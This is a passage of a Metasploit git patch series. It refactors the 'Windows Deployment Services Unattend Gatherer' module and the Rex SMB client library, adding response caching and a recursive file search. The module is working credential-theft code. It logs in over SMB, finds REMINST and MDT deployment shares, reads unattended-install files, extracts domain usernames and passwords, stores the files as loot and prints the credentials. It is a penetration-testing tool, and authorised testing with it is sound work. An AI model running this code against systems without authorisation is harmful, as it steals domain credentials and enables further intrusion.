], 'License' => MSF_LICENSE, 'References' => @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("#{peer} - Trying to access the vulnerable URL...") + print_status("#{peer} - Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") From 94388e3931c0181c783b2f5634ba59cfa4ae75d5 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 23 Jun 2014 12:51:26 -0500 Subject: [PATCH 28/32] Fix typo in the constant name --- lib/rex/proto/smb/constants.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index 6b05bd30e1..8de82fd4dd 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -263,7 +263,7 @@ FILE_VOLUME_IS_COMPRESSED = 0x00008000 # SMB_EXT_FILE_ATTR # http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx -MB_EXT_FILE_ATTR_READONLY = 0x00000001 +SMB_EXT_FILE_ATTR_READONLY = 0x00000001 SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 From 2772d84a189088382706da4a9f32edb25b0c41c8 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 23 Jun 2014 16:13:42 -0500 Subject: [PATCH 29/32] Major rework of this module, please see the diff --- .../windows_deployment_services_shares.rb | 280 +++++++++--------- 1 file changed, 143 insertions(+), 137 deletions(-) diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 5a99710096..0fa6f78c13 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -20,9 +20,11 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', 'Description' => %q{ - Used after discovering domain credentials with aux/scanner/dcerpc/windows_deployment_services - or if you already have domain credentials. Will attempt to connect to the RemInst share and any - Microsoft Deployment Toolkit shares (identified by comments), search for unattend files, and recover credentials. + This module will search remote file shares for unattended installation files that may contain + domain credentials. This is often used after discovering domain credentials with the + auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already + have domain credentials. This module will connect to the RemInst share and any Microsoft + Deployment Toolkit shares indicated by the share name comments. }, 'Author' => [ 'Ben Campbell ' ], 'License' => MSF_LICENSE, @@ -42,130 +44,141 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') end - + # Determine the type of share based on an ID type value def share_type(val) - stypes = [ - 'DISK', - 'PRINTER', - 'DEVICE', - 'IPC', - 'SPECIAL', - 'TEMPORARY' - ] - - if val > (stypes.length - 1) - return 'UNKNOWN' - end - - stypes[val] + stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY } + stypes[val] || 'UNKNOWN' end + # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! def srvsvc_netshareenum - simple.connect("IPC$") - handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) - begin - dcerpc_bind(handle) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{rhost} : #{e.message}") - return + shares = [] + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost} : #{e.message}") + return + end + + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(1) #level + + ref_id = stubdata[0,4].unpack("V")[0] + ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") + + stubdata << ctr + stubdata << NDR.align(ctr) + stubdata << [0xffffffff].pack("V") + stubdata << [ref_id + 8, 0].pack("VV") + + response = dcerpc.call(0x0f, stubdata) + + # Additional error handling and validation needs to occur before + # this code can be moved into a mixin + + res = response.dup + win_error = res.slice!(-4, 4).unpack("V")[0] + if win_error != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}") + end + + # Level, CTR header, Reference ID of CTR + res.slice!(0,12) + share_count = res.slice!(0, 4).unpack("V")[0] + + # Reference ID of CTR1 + res.slice!(0,4) + share_max_count = res.slice!(0, 4).unpack("V")[0] + + if share_max_count != share_count + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count") + end + + # ReferenceID / Type / ReferenceID of Comment + types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} + + share_count.times do |t| + length, offset, max_length = res.slice!(0, 12).unpack("VVV") + + if offset != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero") end - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(1) #level - - ref_id = stubdata[0,4].unpack("V")[0] - ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") - - stubdata << ctr - stubdata << NDR.align(ctr) - stubdata << ["FFFFFFFF"].pack("H*") - stubdata << [ref_id + 8, 0].pack("VV") - response = dcerpc.call(0x0f, stubdata) - res = response.dup - win_error = res.slice!(-4, 4).unpack("V")[0] - if win_error != 0 - raise "DCE/RPC error : Win_error = #{win_error + 0}" + if length != max_length + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length") end - #remove some uneeded data - res.slice!(0,12) # level, CTR header, Reference ID of CTR - share_count = res.slice!(0, 4).unpack("V")[0] - res.slice!(0,4) # Reference ID of CTR1 - share_max_count = res.slice!(0, 4).unpack("V")[0] - raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count + name = res.slice!(0, 2 * length) + res.slice!(0,2) if length % 2 == 1 # pad - types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} # RerenceID / Type / ReferenceID of Comment + comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") - share_count.times do |t| - length, offset, max_length = res.slice!(0, 12).unpack("VVV") - raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0 - raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length - name = res.slice!(0, 2 * length).gsub('\x00','') - res.slice!(0,2) if length % 2 == 1 # pad - - comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") - raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0 - if comment_length != comment_max_length - raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" - end - comment = res.slice!(0, 2 * comment_length).gsub('\x00','') - res.slice!(0,2) if comment_length % 2 == 1 # pad - - @shares << [ name, share_type(types[t]), comment] + if comment_offset != 0 + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero") end + + if comment_length != comment_max_length + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length") + end + + comment = res.slice!(0, 2 * comment_length) + res.slice!(0,2) if comment_length % 2 == 1 # pad + + shares << [ name, share_type(types[t]), comment] + end + + shares end def run_host(ip) + + deploy_shares = [] - @shares = [] - deploy_shares = [] + begin + connect + smb_login + srvsvc_netshareenum.each do |share| + # Ghetto unicode to ascii conversation + share_name = share[0].unpack("v*").pack("C*").split("\x00").first + share_comm = share[2].unpack("v*").pack("C*").split("\x00").first + share_type = share[1] - begin - connect - smb_login - srvsvc_netshareenum - - @shares.each do |share| - # I hate unicode, couldn't find any other way to get these to compare! - # look at iconv for 1.8/1.9 compatability? - if (share[0].unpack('H*') == "REMINST\x00".encode('utf-16LE').unpack('H*')) || - (share[2].unpack('H*') == "MDT Deployment Share\x00".encode('utf-16LE').unpack('H*')) - - print_status("#{ip}:#{rport} #{share[0]} - #{share[1]} - #{share[2]}") - deploy_shares << share[0] - end + if share_type == "DISK" and (share_name == "REMINST" or share_comm == "MDT Deployment Share") + vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}") + deploy_shares << share_name end - - deploy_shares.each do |deploy_share| - query_share(ip, deploy_share) - end - - rescue ::Interrupt - raise $! end + + deploy_shares.each do |deploy_share| + query_share(deploy_share) + end + + rescue ::Interrupt + raise $! + end end - def query_share(rhost, deploy_share) - share_path = "\\\\#{rhost}\\#{deploy_share}" - print_status("Enumerating #{share_path}") + def query_share(share) + share_path = "\\\\#{rhost}\\#{share}" + vprint_status("#{rhost}:#{rport} Enumerating #{share}...") + table = Rex::Ui::Text::Table.new({ - 'Header' => share_path, - 'Indent' => 1, + 'Header' => share_path, + 'Indent' => 1, 'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password'] }) creds_found = false - # ruby 1.8 compat? - share = deploy_share.force_encoding('utf-16LE').encode('ASCII-8BIT').strip - begin - simple.connect(share) + simple.connect(share_path) rescue ::Exception => e - print_error("#{share_path} - #{e}") + print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}") return end @@ -173,62 +186,55 @@ class Metasploit3 < Msf::Auxiliary results.each do |file_path| file = simple.open(file_path, 'o').read() + next unless file + + loot_unattend(file) - unless file.nil? - loot_unattend(file) + creds = parse_client_unattend(file) + creds.each do |cred| + next unless (cred and cred['username'] and cred['password']) + next unless cred['username'].to_s.length > 0 + next unless cred['password'].to_s.length > 0 - creds = parse_client_unattend(file) - creds.each do |cred| - unless cred.empty? - unless cred['username'].nil? || cred['password'].nil? - print_good("Retrived #{cred['type']} credentials from #{file_path}") - creds_found = true - domain = "" - domain = cred['domain'] if cred['domain'] - report_creds(domain, cred['username'], cred['password']) - table << [file_path, cred['type'], domain, cred['username'], cred['password']] - end - end - end + report_creds(cred['domain'].to_s, cred['username'], cred['password']) + print_good("#{rhost}:#{rport} Credentials: " + + "Path=#{file_path} " + + "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " + + "Password=#{cred['password'].to_s}" + ) end end - if creds_found - print_line - table.print - print_line - else - print_error("No Unattend files found.") - end end def parse_client_unattend(data) + begin xml = REXML::Document.new(data) - - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end - - return Rex::Parser::Unattend.parse(xml).flatten + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + Rex::Parser::Unattend.parse(xml).flatten end def loot_unattend(data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") - print_status("Raw version saved as: #{p}") + return if data.empty? + path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") + print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}") end def report_creds(domain, user, pass) report_auth_info( - :host => rhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) + :host => rhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass + ) end + end From b872fa0f0d2e10ba8ad11c697583d22c5aaf7a83 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 23 Jun 2014 16:14:18 -0500 Subject: [PATCH 30/32] Handle smb_recv corner case with a cache, clean up find_*, cosmetic --- lib/rex/proto/smb/client.rb | 312 ++++++++++++++++++++++-------------- 1 file changed, 189 insertions(+), 123 deletions(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 17413db721..6007f16c8b 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils packet.v['ProcessID'] = self.process_id.to_i end - - # The main dispatcher for all incoming SMB packets - def smb_recv_parse(expected_type, ignore_errors = false) + # Receive a full SMB reply and cache the parsed packet + def smb_recv_and_cache + @smb_recv_cache ||= [] # This will throw an exception if it fails to read the whole packet data = self.smb_recv pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(data) - res = pkt + + # Store the received packet into the cache + @smb_recv_cache << [ pkt, data, Time.now ] + end + + # Scan the packet receive cache for a matching response + def smb_recv_cache_find_match(expected_type) + + clean = [] + found = nil + + @smb_recv_cache.each do |cent| + pkt, data, tstamp = cent + + # Return matching packets and mark for removal + if pkt['Payload']['SMB'].v['Command'] == expected_type + found = [pkt,data] + clean << cent + end + + # Purge any packets older than 5 minutes + if Time.now.to_i - tstamp.to_i > 300 + clean << cent + end + + break if found + end + + clean.each do |cent| + @smb_recv_cache.delete(cent) + end + + found + end + + # The main dispatcher for all incoming SMB packets + def smb_recv_parse(expected_type, ignore_errors = false) + + pkt = nil + data = nil + + # This allows for some leeway when a previous response has not + # been processed but a new request was sent. The old response + # will eventually be timed out of the cache. + 1.upto(3) do |attempt| + smb_recv_and_cache + pkt,data = smb_recv_cache_find_match(expected_type) + break if pkt + end begin case pkt['Payload']['SMB'].v['Command'] when CONST::SMB_COM_NEGOTIATE - res = smb_parse_negotiate(pkt, data) + res = smb_parse_negotiate(pkt, data) when CONST::SMB_COM_SESSION_SETUP_ANDX - res = smb_parse_session_setup(pkt, data) + res = smb_parse_session_setup(pkt, data) when CONST::SMB_COM_TREE_CONNECT_ANDX - res = smb_parse_tree_connect(pkt, data) + res = smb_parse_tree_connect(pkt, data) when CONST::SMB_COM_TREE_DISCONNECT - res = smb_parse_tree_disconnect(pkt, data) + res = smb_parse_tree_disconnect(pkt, data) when CONST::SMB_COM_NT_CREATE_ANDX - res = smb_parse_create(pkt, data) + res = smb_parse_create(pkt, data) when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2 - res = smb_parse_trans(pkt, data) + res = smb_parse_trans(pkt, data) when CONST::SMB_COM_NT_TRANSACT - res = smb_parse_nttrans(pkt, data) + res = smb_parse_nttrans(pkt, data) when CONST::SMB_COM_NT_TRANSACT_SECONDARY - res = smb_parse_nttrans(pkt, data) + res = smb_parse_nttrans(pkt, data) when CONST::SMB_COM_OPEN_ANDX - res = smb_parse_open(pkt, data) + res = smb_parse_open(pkt, data) when CONST::SMB_COM_WRITE_ANDX - res = smb_parse_write(pkt, data) + res = smb_parse_write(pkt, data) when CONST::SMB_COM_READ_ANDX - res = smb_parse_read(pkt, data) + res = smb_parse_read(pkt, data) when CONST::SMB_COM_CLOSE - res = smb_parse_close(pkt, data) + res = smb_parse_close(pkt, data) when CONST::SMB_COM_DELETE - res = smb_parse_delete(pkt, data) + res = smb_parse_delete(pkt, data) else raise XCEPT::InvalidCommand end - if (pkt['Payload']['SMB'].v['Command'] != expected_type) - raise XCEPT::InvalidType - end - if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0) raise XCEPT::ErrorCode end - rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode + rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode $!.word_count = pkt['Payload']['SMB'].v['WordCount'] $!.command = pkt['Payload']['SMB'].v['Command'] $!.error_code = pkt['Payload']['SMB'].v['ErrorClass'] @@ -1837,124 +1881,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 0, # Storage type is zero ].pack('vvvvV') + path + "\x00" - begin - resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') - search_next = 0 - begin - pcnt = resp['Payload'].v['ParamCount'] - dcnt = resp['Payload'].v['DataCount'] - poff = resp['Payload'].v['ParamOffset'] - doff = resp['Payload'].v['DataOffset'] + resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') + search_next = 0 - # Get the raw packet bytes - resp_rpkt = resp.to_s + # Loop until we run out of results + loop do + pcnt = resp['Payload'].v['ParamCount'] + dcnt = resp['Payload'].v['DataCount'] + poff = resp['Payload'].v['ParamOffset'] + doff = resp['Payload'].v['DataOffset'] - # Remove the NetBIOS header - resp_rpkt.slice!(0, 4) + # Get the raw packet bytes + resp_rpkt = resp.to_s - resp_parm = resp_rpkt[poff, pcnt] - resp_data = resp_rpkt[doff, dcnt] + # Remove the NetBIOS header + resp_rpkt.slice!(0, 4) - if search_next == 0 - # search id, search count, end of search, error offset, last name offset - sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') - else - # FINX_NEXT doesn't return a SID - scnt, eos, eoff, loff = resp_parm.unpack('v4') - end - didx = 0 - while (didx < resp_data.length) - info_buff = resp_data[didx, 70] - break if info_buff.length != 70 - info = info_buff.unpack( - 'V'+ # Next Entry Offset - 'V'+ # File Index - 'VV'+ # Time Create - 'VV'+ # Time Last Access - 'VV'+ # Time Last Write - 'VV'+ # Time Change - 'VV'+ # End of File - 'VV'+ # Allocation Size - 'V'+ # File Attributes - 'V'+ # File Name Length - 'V'+ # Extended Attr List Length - 'C'+ # Short File Name Length - 'C' # Reserved - ) - name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '') - files[name] = - { - 'type' => (info[14] & 0x10) ? 'D' : 'F', - 'attr' => info[14], - 'info' => info - } + resp_parm = resp_rpkt[poff, pcnt] + resp_data = resp_rpkt[doff, dcnt] - break if info[0] == 0 - didx += info[0] - end - last_search_id = sid - last_offset = loff - last_filename = name - if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next - resp = find_next(last_search_id, last_offset, last_filename) - search_next = 1 # Flip bit so response params will parse correctly - end - end until eos != 0 or last_offset == 0 - rescue ::Exception - raise $! + if search_next == 0 + # search id, search count, end of search, error offset, last name offset + sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') + else + # FIND_NEXT doesn't return a SID + scnt, eos, eoff, loff = resp_parm.unpack('v4') + end + + didx = 0 + while (didx < resp_data.length) + info_buff = resp_data[didx, 70] + break if info_buff.length != 70 + + info = info_buff.unpack( + 'V'+ # Next Entry Offset + 'V'+ # File Index + 'VV'+ # Time Create + 'VV'+ # Time Last Access + 'VV'+ # Time Last Write + 'VV'+ # Time Change + 'VV'+ # End of File + 'VV'+ # Allocation Size + 'V'+ # File Attributes + 'V'+ # File Name Length + 'V'+ # Extended Attr List Length + 'C'+ # Short File Name Length + 'C' # Reserved + ) + + name = resp_data[didx + 70 + 24, info[15]] + + # Verify that the filename was actually present + break unless name + + # Key the file list minus any trailing nulls + files[name.sub(/\x00+$/n, '')] = + { + 'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D', + 'attr' => info[14], + 'info' => info + } + + break if info[0] == 0 + didx += info[0] + end + + last_search_id = sid + last_offset = loff + last_filename = name + + # Exit the search if we reached the end of our results + break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0) + + # If we aren't at the end of the search, run find_next + resp = find_next(last_search_id, last_offset, last_filename) + + # Flip bit so response params will parse correctly + search_next = 1 end - return files + files end # Supplements find_first if file/dir count exceeds max search count def find_next(sid, resume_key, last_filename) parm = [ - sid, # Search ID - 20, # Maximum search count (Size of 20 keeps response to 1 packet) - 260, # Level of interest - resume_key, # Resume key from previous (Last name offset) - 6, # Close search if end of search - ].pack('vvvVv') + last_filename + "\x00" # Last filename returned from find_first or find_next - resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '') - return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function + sid, # Search ID + 20, # Maximum search count (Size of 20 keeps response to 1 packet) + 260, # Level of interest + resume_key, # Resume key from previous (Last name offset) + 6, # Close search if end of search + ].pack('vvvVv') + + last_filename.to_s + # Last filename returned from find_first or find_next + "\x00" # Terminate the file name + + # Returns the FIND_NEXT2 response packet for parsing by the find_first function + trans2(CONST::TRANS2_FIND_NEXT2, parm, '') end - # Recursively search through directories, to a max depth, searching for filenames - # that matches regex and returns path to matching files. + # Recursively search for files matching a regular expression def file_search(current_path, regex, depth) depth -= 1 - if depth < 0 - return - end + return [] if depth < 0 - results = find_first("#{current_path}*") + results = find_first(current_path + "*") files = [] - results.each do |result| - if result[0] =~ /^(\.){1,2}$/ # Ignore . .. - next + results.each_pair do |fname, finfo| + + # Skip current and parent directory results + next if %W{. ..}.include?(fname) + + # Verify the results contain an attribute + next unless finfo and finfo['attr'] + + if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 + # Add any matching files to our result set + files << "#{current_path}#{fname}" if fname =~ regex + else + # Recurse into the discovery subdirectory for more files + begin + search_path = "#{current_path}#{fname}\\" + file_search(search_path, regex, depth).each {|fn| files << fn } + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + + # Ignore common errors related to permissions and non-files + if %W{ + STATUS_ACCESS_DENIED + STATUS_NO_SUCH_FILE + STATUS_OBJECT_NAME_NOT_FOUND + STATUS_OBJECT_PATH_NOT_FOUND + }.include? e.get_error(e.error_code) + next + end + + $stderr.puts [e, e.get_error(e.error_code), search_path] + + raise e + end end - if result[1]['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY > 0 - search_path = "#{current_path}#{result[0]}\\" - begin - files << file_search(search_path, regex, depth).flatten.compact - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - # Ignore permission errors - unless e.get_error(e.error_code) == 'STATUS_ACCESS_DENIED' - raise e - end - end - else - if result[0] =~ regex - files << "#{current_path}#{result[0]}" - end - end end - return files.flatten.compact + files.uniq end # Creates a new directory on the mounted tree @@ -1967,9 +2037,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # public read/write methods attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm - attr_accessor :system_time, :system_zone - #misc - attr_accessor :spnopt # used for SPN + attr_accessor :system_time, :system_zone + attr_accessor :spnopt # public read methods attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os @@ -1977,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_reader :dns_host_name, :dns_domain_name attr_reader :security_mode, :server_guid - #signing related attr_reader :sequence_counter,:signing_key, :require_signing -# private methods +# private write methods attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os attr_writer :default_domain, :default_name, :auth_user, :auth_user_id attr_writer :dns_host_name, :dns_domain_name attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_writer :security_mode, :server_guid - #signing related attr_writer :sequence_counter,:signing_key, :require_signing attr_accessor :socket - end end end From 752007848bf9068b97e785c8727c86948a60190a Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 23 Jun 2014 23:08:33 +0100 Subject: [PATCH 31/32] Tidy up code Dont rescue Exception Remove eol spaces Dont use and More verbose path --- .../windows_deployment_services_shares.rb | 32 +++++++------------ 1 file changed, 12 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 0fa6f78c13..a4027979be 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -21,9 +21,9 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', 'Description' => %q{ This module will search remote file shares for unattended installation files that may contain - domain credentials. This is often used after discovering domain credentials with the + domain credentials. This is often used after discovering domain credentials with the auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already - have domain credentials. This module will connect to the RemInst share and any Microsoft + have domain credentials. This module will connect to the RemInst share and any Microsoft Deployment Toolkit shares indicated by the share name comments. }, 'Author' => [ 'Ben Campbell ' ], @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary def srvsvc_netshareenum shares = [] handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) - + begin dcerpc_bind(handle) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary end # Level, CTR header, Reference ID of CTR - res.slice!(0,12) + res.slice!(0,12) share_count = res.slice!(0, 4).unpack("V")[0] # Reference ID of CTR1 @@ -104,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary share_count.times do |t| length, offset, max_length = res.slice!(0, 12).unpack("VVV") - + if offset != 0 fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero") end @@ -136,7 +136,6 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - deploy_shares = [] begin @@ -148,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary share_comm = share[2].unpack("v*").pack("C*").split("\x00").first share_type = share[1] - if share_type == "DISK" and (share_name == "REMINST" or share_comm == "MDT Deployment Share") + if share_type == "DISK" && (share_name == "REMINST" or share_comm == "MDT Deployment Share") vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}") deploy_shares << share_name end @@ -167,17 +166,9 @@ class Metasploit3 < Msf::Auxiliary share_path = "\\\\#{rhost}\\#{share}" vprint_status("#{rhost}:#{rport} Enumerating #{share}...") - table = Rex::Ui::Text::Table.new({ - 'Header' => share_path, - 'Indent' => 1, - 'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password'] - }) - - creds_found = false - begin simple.connect(share_path) - rescue ::Exception => e + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}") return end @@ -186,19 +177,19 @@ class Metasploit3 < Msf::Auxiliary results.each do |file_path| file = simple.open(file_path, 'o').read() - next unless file - + next unless file + loot_unattend(file) creds = parse_client_unattend(file) creds.each do |cred| - next unless (cred and cred['username'] and cred['password']) + next unless (cred && cred['username'] && cred['password']) next unless cred['username'].to_s.length > 0 next unless cred['password'].to_s.length > 0 report_creds(cred['domain'].to_s, cred['username'], cred['password']) print_good("#{rhost}:#{rport} Credentials: " + - "Path=#{file_path} " + + "Path=#{share_path}#{file_path} " + "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " + "Password=#{cred['password'].to_s}" ) @@ -238,3 +229,4 @@ class Metasploit3 < Msf::Auxiliary end end + From 615aeb66a54f8c9d1b9c3b332fc9e872b58fb927 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 23 Jun 2014 23:11:04 +0100 Subject: [PATCH 32/32] Dont use or --- modules/auxiliary/gather/windows_deployment_services_shares.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index a4027979be..3811d39650 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -147,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary share_comm = share[2].unpack("v*").pack("C*").split("\x00").first share_type = share[1] - if share_type == "DISK" && (share_name == "REMINST" or share_comm == "MDT Deployment Share") + if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share") vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}") deploy_shares << share_name end